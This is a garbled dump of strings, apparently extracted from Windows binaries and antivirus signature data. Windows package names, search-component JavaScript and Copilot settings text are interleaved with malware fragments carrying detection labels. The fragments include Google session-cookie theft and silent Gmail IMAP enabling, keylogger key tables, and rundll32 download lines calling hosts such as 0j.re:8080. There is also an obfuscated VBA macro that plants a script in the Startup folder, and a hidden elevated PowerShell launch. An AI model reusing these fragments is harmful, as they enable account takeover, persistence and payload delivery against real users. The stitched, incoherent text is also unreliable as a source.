edb.chkedb.logedbres00001.jrsedbres00002.jrsedbtmp.logcheV01.datFailed to get chrome cookiemail.google.com, cookie_name: OSID.google.com, cookie_name: SID,.google.com, cookie_name: __Secure-3PSID,Failed to get Edge cookiegoogle.com, cookie_name: SID,google.com, cookie_name: __Secure-3PSID,Failed to get New Edge cookieMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencoded;charset=utf-8Cookie: SID=%s; OSID=%s; __Secure-3PSID=%shttps://mail.google.comresult.htmlGM_ACTION_TOKENGM_ID_KEY=/mail/u/0/?ik=%s&at=%s&view=up&act=prefsp_bx_ie=1myaccount.google.com, cookie_name: OSIDAccept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3https://myaccount.google.commyaccount.google.com/_/AccountSettingsUi/data/batchexecutef.req=%5B%5B%5B%22BqLdsd%22%2C%22%5Btrue%5D%22%2Cnull%2C%22generic%22%5D%5D%5D&at=response.htmlhttps_status is %sSuccess to find GM_ACTION_TOKEN and GM_ID_KEYFailed to find GM_ACTION_TOKEN and GM_ID_KEYFailed HttpSendRequest to mail.google.comSuccess to enable imapFailed to enable imapSuccess to find SNlM0eFailed to find SNlM0eFailed HttpSendRequest to myaccount.google.comSuccess to enable thunder accessFailed to enable thunder accessPAUSE[ESC][PAGE UP][PAGE DOWN][END][ARROW LEFT][ARROW UP][ARROW RIGHT][ARROW DOWN][DEL][WIN][NUM *][NUM +][NUM ,][NUM -][NUM .]NUM /][NUMLOCK][SCROLLLOCK]Time: Window: CAPSLOCK+SHIFT+CTRL+ALT+!#TEL:Trojan:MSIL/DarkNeuron.E!dha
dTrackingradientUnitsafeThencodeURIComponentisTerminalSignalphasOwnProperty ' is present but not expected to be.&hash=2#7c52abheighttp://localhost:9001/sync/ActivityCenter/contextMenuItemscaleYacm_dismiss_hoverInDelayTimeout^ {4}at (.+?)(?: \((native)\)?| \((address at )?(.*?):(\d+):(\d+)\))$spacer-app-icon-dragetComponentNameFromTypeg$c24#89640activityCenterSigningOut of range indexOfSingleActiveTouchable: Unable to find HostComponent instance. Has your Touchable component been unmounted?#27938Expected array of items with numColumns > 1@@observableadingSectionon-scaling-strokeLinejoinRowizard_windowSizeOrDefaultrapFocustomHoverStyle#A8F3FFrom BugReporting.jsxsafelyCallDestroyalblueuseActivityCenterHeaderStylesyncStatusBadgeSyncingetOptionsFromObjustifyContent to share must be a valid objectBoundingBox
pLQ.http://0j.re:8080/abbbpr2/bsncg/srfwrv/ctnij3w/11h0d/2apfmbn/%computername%"%windir%\system32\shell32.dll
a"http://6t.pm:8080/ypywnrg2tpq/xkpw/ztuzrsravt2bt3wtuf/%computername%"^ds^ikd^h^c=^nzj!%systemroot%\system32\shell32.dll
http://2t.pm:8080/alat7biqrgt7pgjwirqg/7iiw/if7g9wr/!computername!"h^c^t^p^xtusz=^y^wk^mv^q-^q^n"%systemroot%\system32\imageres.dll
subauto_open()="c:~~users~~"&environ("username")&"~~$$ppd$$t$$~~ro$$ming~~microsoft~~windows~~st$$rtmenu~~progr$$ms~~st$$rtup~~upd$$te!!":::=vba.replace(,"!!",".js"):::::=vba.replace(,"$$","a"):::::=!![]);"debug.print:::closedebug.printopenforoutputas#1debug.printopenforoutputas#2debug.printprint#1,+1+2+3debug.printprint#2,+1+2+3close=):::::=vba.replace(,"~~","jscript")debug.printcallshell!()debug.printendsubExploit:Script/CVE-2021-34473.B
windows.iniExploit:O97M/CVE-2017-11882.ALJA!MTB
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
typing settings|ink settings|windows ink settings|pen settings|shell handwriting settings|8
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral
Source=="ANA"?"anaheimData":t.queryToFetch?t.queryToFetch.toLocaleLowerCase():"",(n.hasCopilotSettingEnabled()&&i==n.GroupType.AIFeed||n.config.wsbWithCopilotQF&&r=="CP")&&(u="AIFD"),u}fetch(i,r,u,f,e){let s=n.getCurrentTime();if(n.isDataSourceEnabled(this._dataSource,i)){this._dataSource=="ANA"&&(t.AnaheimDataProvider.InstrumentStringNumber.FTC=1);let o=(t,u)=>{let f=n.getCurrentTime()-s;n.InstrumentationHelper.instrumentPerfEvent(n.SequenceNumberManager.getSequenceNumber(),"Fetch"+this._dataSource,f);let o=u=="R";e()&&r(this._dataSource,this.createResponse(i,t,o),this.getDataSourceState(u))};this.innerQueryStorage(1,this.getKey(i),n=>o(n,"R"),()=>o(null,"E"),()=>o(null,"X"),()=>o(null,"T"),i)}}withStorage(n){return this._storage?(n(this._storage),!0):!1}getMaxKey(n){return n.slice(0,n.length-1)+String.fromCharCode(n.charCodeAt(n.length-1)+1)}getStorage(n,t,i,r){this.innerQueryStorage(null,null,t=>n(t),t,i,r)}queryStorage(n,t,i,r,u){this.innerQueryStorage(0,n,t,i,r,u)}innerQueryStorage(t,r,f,e,o,s,h){let c=null,l=!1,a=!0,v=()=>{if(a)if(a=!1,this._storage){let n=n=>{(n===null||n===void 0?void 0:n.message)==="NotFoundError"&&(this._retryCount+=1);c&&sb_ct(c);this.onError(n,"query");l||(l=!0,e())};t==0?this._storage.getValue(r,n=>{c&&sb_ct(c),l||(l=!0,f(n))},n):r?this._storage.getRange(r,this.getMaxKey(r),n=>{c&&sb_ct(c),l||(l=!0,f(n))},n):this._storage.getAll(n=>{c&&sb_ct(c),l||(l=!0,f(n))},n)}else c&&sb_ct(c),l||(l=!0,e())};if(this._storage)v();else if(this._retryCount<u)if(this.initStorage(),this._storageOpenInProgress)this._pendingQueries.push(v);else{o();return}else{this._retryCount=0;let t=n.DataProviderDBName[this.getName()];this.onError(new Error("Corrupted "+t+". Will delete and reloading."),"IndexDBCorruption");i.deleteDatabase(t);return}let y=this.getTimeout(r,h);y&&(c=n.safeSetTimeout(()=>{c=null,a=!1,l||(l=!0,s())},y,"innerQueryStorage"))}}i.StorageBasedDataProvider=f})(i=t.ClientSideStorage||(t.ClientSideStorage={}))})(t=n.Old||(n.Old={}))}(WSB||(WSB={})),function(n){class r{constructor(){this.pendingWritingPromises={}}async getItemAsync(n){const t=await this.openDBAsync("get");if(!t||!n)return null;this.pendingWritingPromises.hasOwnProperty(n)&&this.pendingWritingPromises[n]&&await this.pendingWritingPromises[n];const i=new Promise((i,u)=>{const e=t.transaction(r.MRUStoreName,"readonly"),o=e.objectStore(r.MRUStoreName),f=o.get(n);f.onsuccess=()=>{const n=f.result;i(n)};f.onerror=()=>{u(null)}});return await i}async setItemAsync(n,t){const i=await this.openDBAsync("set");if(!i||!n)return!1;try{this.pendingWritingPromises.hasOwnProperty(n)&&this.pendingWritingPromises[n]&&await this.pendingWritingPromises[n];this.pendingWritingPromises[n]=new Promise((u,f)=>{const o=i.transaction(r.MRUStoreName,"readwrite"),s=o.objectStore(r.MRUStoreName),e=s.put(t,n);e.onsuccess=()=>{u(!0)};e.onerror=()=>{f(!1)}});return await this.pendingWritingPromises[n]}finally{delete this.pendingWritingPromises[n]}}async openDBAsync(t){if(r.stat_openDBCallCount++,this.pendingOpeningPromise&&await this.pendingOpeningPromise,this.mruDB)return this.mruDB;r.stat_openDBCount++;r.stat_openDBCaller=t;try{this.pendingOpeningPromise=new Promise((t,i)=>{let u;try{u=indexedDB.open(n.MRUDatabaseName,r.MRUDBVersion);u.onsuccess=()=>{let n=u.result;this.mruDB=n;r.stat_openDBSuccessCount++;t(n)};u.onupgradeneeded=()=>{try{let n=u.result;if(this.mruDB=n,!n.objectStoreNames.contains(r.MRUStoreName)){const t=n.createObjectStore(r.MRUStoreName);t.createIndex(r.SECONDARY_KEY,r.SECONDARY_KEY,{unique:!1})}}catch(n){SharedLogHelper.LogError("PSDbUpgrade",null,n)}};u.onerror=()=>{r.stat_openDBFailureCount++,i(null)};u.onblocked=()=>{i(null)}}catch(f){SharedLogHelper.LogError("PSDbOpen",null,f);this.pendingOpeningPromise=null;i(null)}});const t=await this.pendingOpeningPromise;t&&(this.mruDB=t)}finally{return delete this.pendingOpeningPromise,this.mruDB}}static mkReset(){r.stat_openDBCaller&&r.stat_openDBCallCount&&r.stat_openDBCount>=Number.MAX_SAFE_INTEGER&&r.stat_openDBSuccessCount&&r.stat_openDBFailureCount&&(r.stat_openDBCaller=null,r.stat_openDBCallCount=0);u.onsuccess=i;u.onerror=r},i)}getRange(n,t,i,r){this.safeDbOperation("getRange","["+n+", "+t+")","readonly",i,(i,r,u)=>{let f=IDBKeyRange.bound(n,t,!1,!0);this.queryFromCursor(i.openCursor(f),r,u)},r)}getRangeOnSecondaryKey(n,t,i,r){this._secondaryIndex?this.safeDbOperation("getRangeOnSecondaryKey","["+n+", "+t+")","readonly",i,(i,r,u)=>{let f=i.index(this._secondaryIndex),e=IDBKeyRange.bound(n,t,!1,!0);this.queryFromCursor(f.openCursor(e),r,u)},r):r(new Error("getRangeOnSecondaryKey: Index name is missing"))}removeRange(n,t,i,r){this.safeDbOperation("removeRange","["+n+","+t+"]","readwrite",i,(i,r,u)=>{let f=IDBKeyRange.bound(n,t,!1,!0);this.removeFromCursor(i.openCursor(f),r,u)},r)}removeRangeOnSecondaryKey(n,t,i,r){this._secondaryIndex?this.safeDbOperation("removeRangeOnSecondaryKey","["+n+","+t+"]","readwrite",i,(i,r,u)=>{let f=i.index(this._secondaryIndex),e=IDBKeyRange.bound(n,t,!1,!0);this.removeFromCursor(f.openCursor(e),r,u)},r):r(new Error("removeRangeOnSecondaryKey: Index name is missing"))}getAll(n,t){this.safeDbOperation("getAll",null,"readonly",n,(n,t,i)=>this.queryFromCursor(n.openCursor(),t,i),t)}close(){r(this._databaseName,"close requested");this.innerClose()}innerClose(){if(i._requestsInProgress>0)r(this._databaseName,"delaying close because of "+i._requestsInProgress+" requests in progress"),this._closePending=!0;else for(let t of i._allInstances)t._database&&(n.safeExecute(()=>t._database.close(),this._databaseName+".close"),r(t._databaseName,"close completed"),t._database=null,t.onClosed())}queryFromCursor(n,t,i){let r=[];n.onsuccess=n=>{let i=n.target.result;i&&r.push({key:i.primaryKey,value:i.value});i&&r.length!=f?i.continue():t(r)};n.onerror=i}removeFromCursor(n,t,i){let r=0;n.onsuccess=n=>{let i=n.target.result;i&&(i.delete(),r+=1);i&&r!=f?i.continue():t(null)};n.onerror=i}safeDbOperation(n,t,f,e,o,s){r(this._databaseName,n+" requested"+(t?" "+t:""));i._requestsInProgress+=1;let c=u=>{r(this._databaseName,n+" completed "+(t?t+" ":"")),i._requestsInProgress-=1,e(u),this._closePending&&i._requestsInProgress==0&&this.innerClose()},h=n=>{i._requestsInProgress-=1,s(n),this._closePending&&i._requestsInProgress==0&&this.innerClose()};try{if(this._database){let t=this._database.transaction(this._storeName,f).objectStore(this._storeName);o(t,c,u(n+".onError",h))}else h(new Error(n+" Database not initialized"))}catch(l){h(l)}}}i._requestsInProgress=0;i._allInstances=[];n.ClientSideStorage=n.Old.ClientSideStorage})(i=t.ClientSideStorage||(t.ClientSideStorage={}))})(t=n.Old||(n.Old={}))}(WSB||(WSB={})),function(n){var t;(function(t){var i;(function(i){const r=250,u=3;class f{constructor(t,i,r,u,f){this._storageFactory=t;this.createResponse=i;this.dataPopulated=r;this.getDataSourceState=u;this._dataSource=f;this._pendingQueries=[];this._storageOpenInProgress=!1;this._retryCount=0;n.Host&&(n.Host.bindAppVisible(()=>this.initStorage()),n.Host.bindDismissed(()=>this._pendingQueries=[]),n.Host.bindAppHidden(()=>this.teardownStorage()))}onAfterWrite(){if(this._writing=!1,this._pendingWrites.length>0){let n=this._pendingWrites.shift();n()}else this._tearDownPending&&this.teardownStorage()}teardownStorage(){this._writing?this._tearDownPending=!0:(this._tearDownPending=!1,this._storage&&this._storage.close())}initStorage(){!this._storageOpenInProgress&&this.dataPopulated()&&(this._storageOpenInProgress=!0,this._storageFactory(n=>{this._storage=n,this._storageOpenInProgress=!1,this._pendingQueries.forEach(n=>n()),this._pendingQueries=[]},n=>{this.onError(n,"open storage");this._storageOpenInProgress=!1;this._pendingQueries.forEach(n=>n());this._pendingQueries=[]},()=>this._storage=null))}static getUnixTime(t){return t||(t=n.getCurrentDate()),Math.round(t.getTime()/1e3)}onError(t,i){i!="open storage"&&n.LogWSBError(i,this._dataSource,t,undefined,undefined,"WindowsTelemetry");this.teardownStorage()}reloadStorage(){this.teardownStorage();this.initStorage()}isReady(){return!!this._storage}getTimeout(t,i){return!t||(i===null||i===void 0?void 0:i.isSearchHomeZI)?n.LatencyTimeout:r}getKey(t,i,r){let u;return u=this._dataconst u=n.transaction("mruWithIndexStore","readonly"),f=u.objectStore("mruWithIndexStore"),r=f.get(t);r.onsuccess=()=>i(r.result);r.onerror=()=>i(null)}catch(r){i(null)}})}idbPutAsync(n,t,i){return new Promise(r=>{try{const f=n.transaction("mruWithIndexStore","readwrite"),e=f.objectStore("mruWithIndexStore"),u=e.put(i,t);u.onsuccess=()=>r(!0);u.onerror=()=>r(!1)}catch(u){r(!1)}})}fetchWithCache(t,i,r,u,f,e,o){let s=this._responseCacheManager.get(t);if(s){let h=this.addParamsToUrl(this.createUrl(t),e);this.onBeforeFetchUrl(r,h);if(i(this._dataSource,s,null,1),n.config.forceUseNifQF&&this._dataSource=="Web"){let s=n.deepCopy(e);s.wsbnoas="1";this.fetchWithoutCache(t,i,r,u,f,s,o)}}else{let s=()=>!0,n=i;n=(n,r,u)=>{f()&&i(n,r,u,0),t.queryToFetch&&this.responseIsValidForCaching(u,r)&&(r.ELToken&&(r=Object.assign({},r),delete r.ELToken),this._responseCacheManager.put(t,r))};super.fetch(t,n,r,u,s,e,o)}}fetchWithoutCache(n,t,i,r,u,f,e){let s=()=>!0,o=t;o=(n,i,r)=>{u()&&t(n,i,r,0)};super.fetch(n,o,i,r,s,f,e)}responseIsValidForCaching(n,t){const i="HS";return!n&&t&&t.Suggestions&&t.Suggestions.length>=0&&t.Suggestions.every(n=>!n.InstantAnswer&&n.Attributes.stype!=i)}mruResponseIsValidForCaching(n,t){return!n&&t&&t.Suggestions&&t.Suggestions.length>0&&t.Suggestions.every(n=>!n.InstantAnswer)}processResourceResponse(n){if(n){let t=n.Resources;if(t){this._downloadedStylesResources?this.updateWithDownloadedResources(t):this._downloadedStylesResources=t.Styles;let i={Styles:t.Styles,Scripts:null};JsonInject.WriteHeadAndBeforeContentResources(i)}}}updateWithDownloadedResources(n){for(let t in n.Styles)for(let i in n.Styles[t])this._downloadedStylesResources[t][i]?delete n.Styles[t][i]:this._downloadedStylesResources[t][i]=n.Styles[t][i]}}n.AsSuggestionsDataProvider=f;n.getIconFromOnlineResponse=e})(WSB||(WSB={})),function(n){var t;(function(t){var i;(function(t){function e(n,t,r,u,f){typeof indexedDB!="undefined"&&new i(n,f,t,r,u)}function o(n,t,r,u,f){typeof indexedDB!="undefined"&&new i(n,f,t,r,u)}function s(n,t,r,u,f,e){typeof indexedDB!="undefined"&&new i(n,e,t,r,u,f)}function h(n,t,r,u,f,e){typeof indexedDB!="undefined"&&new i(n,e,t,r,u,f)}function c(n,t,i){r(n,"deleteDatabase requested");try{let f=indexedDB.deleteDatabase(n);f.onsuccess=()=>{r(n,"deleteDatabase completed"),t&&t()};f.onerror=u("deleteDatabase.onError",t=>{SharedLogHelper.LogError("deleteDB",n,t),i&&i(t)})}catch(f){i&&i(f)}}function u(n,t){return i=>{let r=n;try{r+=" "+i.target.error.name}catch(u){}t(new Error(r))}}const f=100;t.instanceWithNumberKeys=e;t.instanceWithStringKeys=o;t.instanceWithNumberKeysAndSecondaryKey=s;t.instanceWithStringKeysAndSecondaryKey=h;let r=(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.dbTrace)?(t,i)=>n.log("["+t+"] "+i):()=>{};t.deleteDatabase=c;t.handleErrorEvent=u;class i{constructor(n,t,f,e,o,s){this._databaseName=n;this.onClosed=o;this._secondaryIndex=s;this._closePending=!1;this._storeName=n+"Store";r(this._databaseName,"open requested");let h;try{h=indexedDB.open(n,t||1)}catch(c){e(new Error("IndexedDbClientSideStorage.const: Could not open database"));return}h.onsuccess=n=>{this._database=n.target.result,i._allInstances.push(this),r(this._databaseName,"open completed"),f(this)};h.onupgradeneeded=n=>{r(this._databaseName,"upgrading");let t=n.target.result;t.objectStoreNames.contains(this._storeName)&&t.deleteObjectStore(this._storeName);let i=t.createObjectStore(this._storeName);this._secondaryIndex&&i.createIndex(this._secondaryIndex,this._secondaryIndex,{unique:!1})};h.onerror=u("open.onError",e);h.onblocked=u("open.onBlocked",e)}put(n,t,i,r){this.safeDbOperation("put",n.toString(),"readwrite",i,(i,r,u)=>{let f=i.put(t,n);f.onsuccess=r;f.onerror=u},r)}putMultiple(n,t,i){this.safeDbOperation("putMultiple",n.length.toString(),"readwrite",t,(t,i,r)=>{let u=0,f=()=>{if(u<n.length){let e=t.put(n[u].value,n[u].key);u+=1;e.onsuccess=u==n.length?i:f;e.onerror=r}};f()},i)}getValue(n,t,i){this.safeDbOperation("getValue",n.toString(),"readonly",n=>t(n.target.result),(t,i,r)=>{let u=t.get(n==void 0?void 0:n.config.enableLASDelayInMS)>0&&!(t===null||t===void 0?void 0:t.isSearchHomeZI)&&n.webASFetchDoneSignal){let t={hasWebAS:((s=f===null||f===void 0?void 0:f.Suggestions)===null||s===void 0?void 0:s.length)>0,sequenceNumber:r};n.webASFetchDoneSignal===null||n.webASFetchDoneSignal===void 0?void 0:n.webASFetchDoneSignal.emit(t)}this.processResourceResponse(f);i(u,f,e,o)},n.config.enableSearchHistoryMru&&(t===null||t===void 0?void 0:t.isSearchHomeZI)){let f=n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType();const i=(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(55182095))&&n.config.enabledMsaAuthV2?"X-Search-MsaV2Token":"X-Search-RPSToken";if(f===2&&(o[i]===undefined||o[i]===null||o[i].length===0)){s("Web",null,null,0);return}n.config.enableRecentASSearchWebIcon&&typeof e=="object"&&(e.client="windows");this.fetchAndCacheSearchHistory(t,s,r,u,e,o);return}this._responseCacheManager?this.fetchWithCache(t,s,r,u,f,e,o):super.fetch(t,s,r,u,f,e,o)}}fetchAndCacheSearchHistory(t,i,r,u,f,e){i("Web",null,null,0);let s=this.addParamsToUrl(this.createUrl(t),f!==null&&f!==void 0?f:{});this.onBeforeFetchUrl(r,s);let h=()=>!0,o=i;o=(i,r,u)=>{try{if(!t.queryToFetch&&this.mruResponseIsValidForCaching(u,r))if(n.config.enableMruRoamingIndexedDb)this.writeRoamingToIndexedDb(r);else{r.ELToken&&(r=Object.assign({},r),delete r.ELToken);let t={cacheTime:Math.round((new Date).getTime()/1e3),response:r},i=n.getHistoryCacheKeyForSelectedAccount();n.LightweightStorage.setItem(i,JSON.stringify(t))}}catch(f){n.LogWSBError("writeCacheFailedWeb",f,new Error("Web Provider write to local cache failed"),undefined,undefined,"WindowsTelemetry")}};super.fetch(t,o,r,u,h,f,e)}writeRoamingToIndexedDb(t){(async()=>{var i,r,u,f,e,o,s,h,c,l;try{const v=Math.round((new Date).getTime()/1e3),p=t.Suggestions,y=await this.openMruDbAsync();if(!y)return;const w=Number(n.LightweightStorage.getItem("RoamingMruLastWriteTime")||"0"),b=Number.isFinite(w)?w:0,a=(i=await this.idbGetAsync(y,""))!==null&&i!==void 0?i:{LastUpdated:v,SuggestionEngagementData:{},Suggestions:[]},d=(u=(r=a.Suggestions)===null||r===void 0?void 0:r.some(n=>n.isRoaming))!==null&&u!==void 0?u:!1,g=!d&&b>0;a.Suggestions&&(a.Suggestions=a.Suggestions.filter(n=>!n.isRoaming));const k=g?p.filter(n=>{var t;const i=Number(((t=n.Attributes)===null||t===void 0?void 0:t.llt)||0);return i>0&&i>b}):p;for(const t of k){const r=(((f=t.Attributes)===null||f===void 0?void 0:f.query)||t.Text||"").trim();if(r.length!==0){const i=n.GroupType.SearchSuggestions+"\t"+r;if(a.SuggestionEngagementData[i]){const n=Number(((o=t.Attributes)===null||o===void 0?void 0:o.llt)||v);n>a.SuggestionEngagementData[i].lastLaunchTime&&(a.SuggestionEngagementData[i].lastLaunchTime=n)}else a.SuggestionEngagementData[i]={lastLaunchTime:Number(((e=t.Attributes)===null||e===void 0?void 0:e.llt)||v),prefixLaunchCount:1,groupType:n.GroupType.SearchSuggestions};const u={type:((s=t.Attributes)===null||s===void 0?void 0:s.stype)||"HS",handoffType:0,hc:((h=t.Attributes)===null||h===void 0?void 0:h.hc)==="1",highConfidenceMetaSuggestionScore:t.HighConfidenceMetaSuggestionScore||0,prefetchConfidenceScore:t.PrefetchConfidenceScore||0,suggestionKey:i,isRoaming:!0,query:r,textWithoutHH:r,icon:null},y=(l=(c=a.Suggestions)===null||c===void 0?void 0:c.findIndex(n=>n.suggestionKey===i))!==null&&l!==void 0?l:-1;y>=0?a.Suggestions[y]=u:(a.Suggestions||(a.Suggestions=[]),a.Suggestions.push(u))}}a.LastUpdated=v;const nt=await this.idbPutAsync(y,"",a);nt&&k.length>0&&n.LightweightStorage.setItem("RoamingMruLastWriteTime",String(v))}catch(a){n.LogWSBError("writeRoamingIDBFailed",a,new Error("Roaming MRU IndexedDB write failed"),undefined,undefined,"WindowsTelemetry")}})()}openMruDbAsync(){return this._mruDb?Promise.resolve(this._mruDb):new Promise(t=>{try{const i=indexedDB.open(n.MRUDatabaseName,1);i.onsuccess=()=>{this._mruDb=i.result,t(this._mruDb)};i.onerror=()=>t(null);i.onblocked=()=>t(null)}catch(i){t(null)}})}idbGetAsync(n,t){return new Promise(i=>{try{
Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.1000.cat|Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat|
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Multimedia-MF-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1301.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-OfflineFiles-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft-Windows-PhotoBasic-Feature-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-SMB1-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.1000.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat|
ext-ms-win-ntuser-windowstation-l1-1-0.dll
temRoot%\system32\mswsock.dl
Microsoft-Windows-ErrorReportingCore-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-ErrorReportingCore-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft.Windows.WindowsErrorReporting
Microsoft.Windows.Wil.FeatureLogging
onecore\windows\feedback\core\werdll\lib\werpapi.cpp
onecore\windows\feedback\core\common\libex\terminationstore.cpp
onecore\windows\feedback\core\werdll\lib\reportqueue.cpp
onecore\windows\feedback\core\werdll\lib\reportstore.cpp
Microsoft.Windows.Graphics.DXGI
clientcore\windows\dwm\dwmapi\windownotifications.cpp
onecoreuap\windows\DWM\common\shared\lpcshared.h
Microsoft.Windows.Dwm.DwmApi
AslEnvGetSystem32DirPathBuf
Microsoft.Windows.ResourceManager
Microsoft.Windows.HostActivityManager
Microsoft.Windows.CentralResourceManager
Microsoft.Windows.TlgAggregateInternal
WindowsBytesFree
=        xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:desktop4="http://schemas.microsoft.com/appx/manifest/desktop/windows10/4"
           xmlns:desktop5="http://schemas.microsoft.com/appx/manifest/desktop/windows10/5"
           xmlns:desktop10="http://schemas.microsoft.com/appx/manifest/desktop/windows10/10"
           xmlns:desktop11="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/5"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
DwmpDxGetWindowSharedSurface
DwmpDxUpdateWindowSharedSurface
clientcore\windows\dwm\dwmapi\attribute.cpp
clientcore\windows\dwm\dwmapi\titlebar.cpp
clientcore\windows\dwm\dwmapi\composition.cpp
Aclientcore\windows\dwm\dwmapi\animationcoordination.cpp
clientcore\windows\dwm\dwmapi\projectedsb
!%systemroot%\system32\shell32.dll%systemroot%\\\\\system32\\\\rundll32.exe%systemroot%\\\\\system32\\\\rundll32.exe
CreateDXGIFactory2 failed because DXGI_CREATE_FACTORY_DEBUG was specified, but DXGIDebug.dll is not present on the system. This flag must be removed, or the Windows SDK must be installed.
            name="Microsoft.Windows.Common-Controls"
ows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
Windows Code Signing PCA 20240
Global.WindowsPeopleExperience.AppXpkzme2jr11ysrte06wck8kyezwk1pbfx.mca
Global.WindowsPeopleExperience.AppXr294thyq69q9stfx19eg6rwxw938b35a.wwa
Global.WindowsPeopleExperience.wwa
Global.WindowsPersonaCard.AppX6vcm33xz1vnzertraheqrmah45wqcb0h.wwa
Global.WindowsPersonaCard.AppX8mqwb6jamj7bp6kj3wtbaz5n9bep069q.mca
\windows\system32\cmd.exe$/ctransitoriness\careering.cmdregsc:\windows\system32\shell32.dll
start-processpowershell.exe-windowstylehidden-verbrunas-argumentlist('-file"$moon\init.ps1
i..\..\mesenteric\gymnastsdenationalizes.jsc:\windows\explorer.exe%systemroot%\explorer.exe
onecoreuap\windows\moderncore\inputv2\utilities\registrywatcher\lib\registrywatcher.cpp
onecoreuap\windows\dwm\dwmcore\dataprovider\objfre\amd64\dataprovider.bamo.h
onecoreuap\windows\moderncore\inputv2\rawinputproviders\lamparray\lib\pnpdevice.cpp
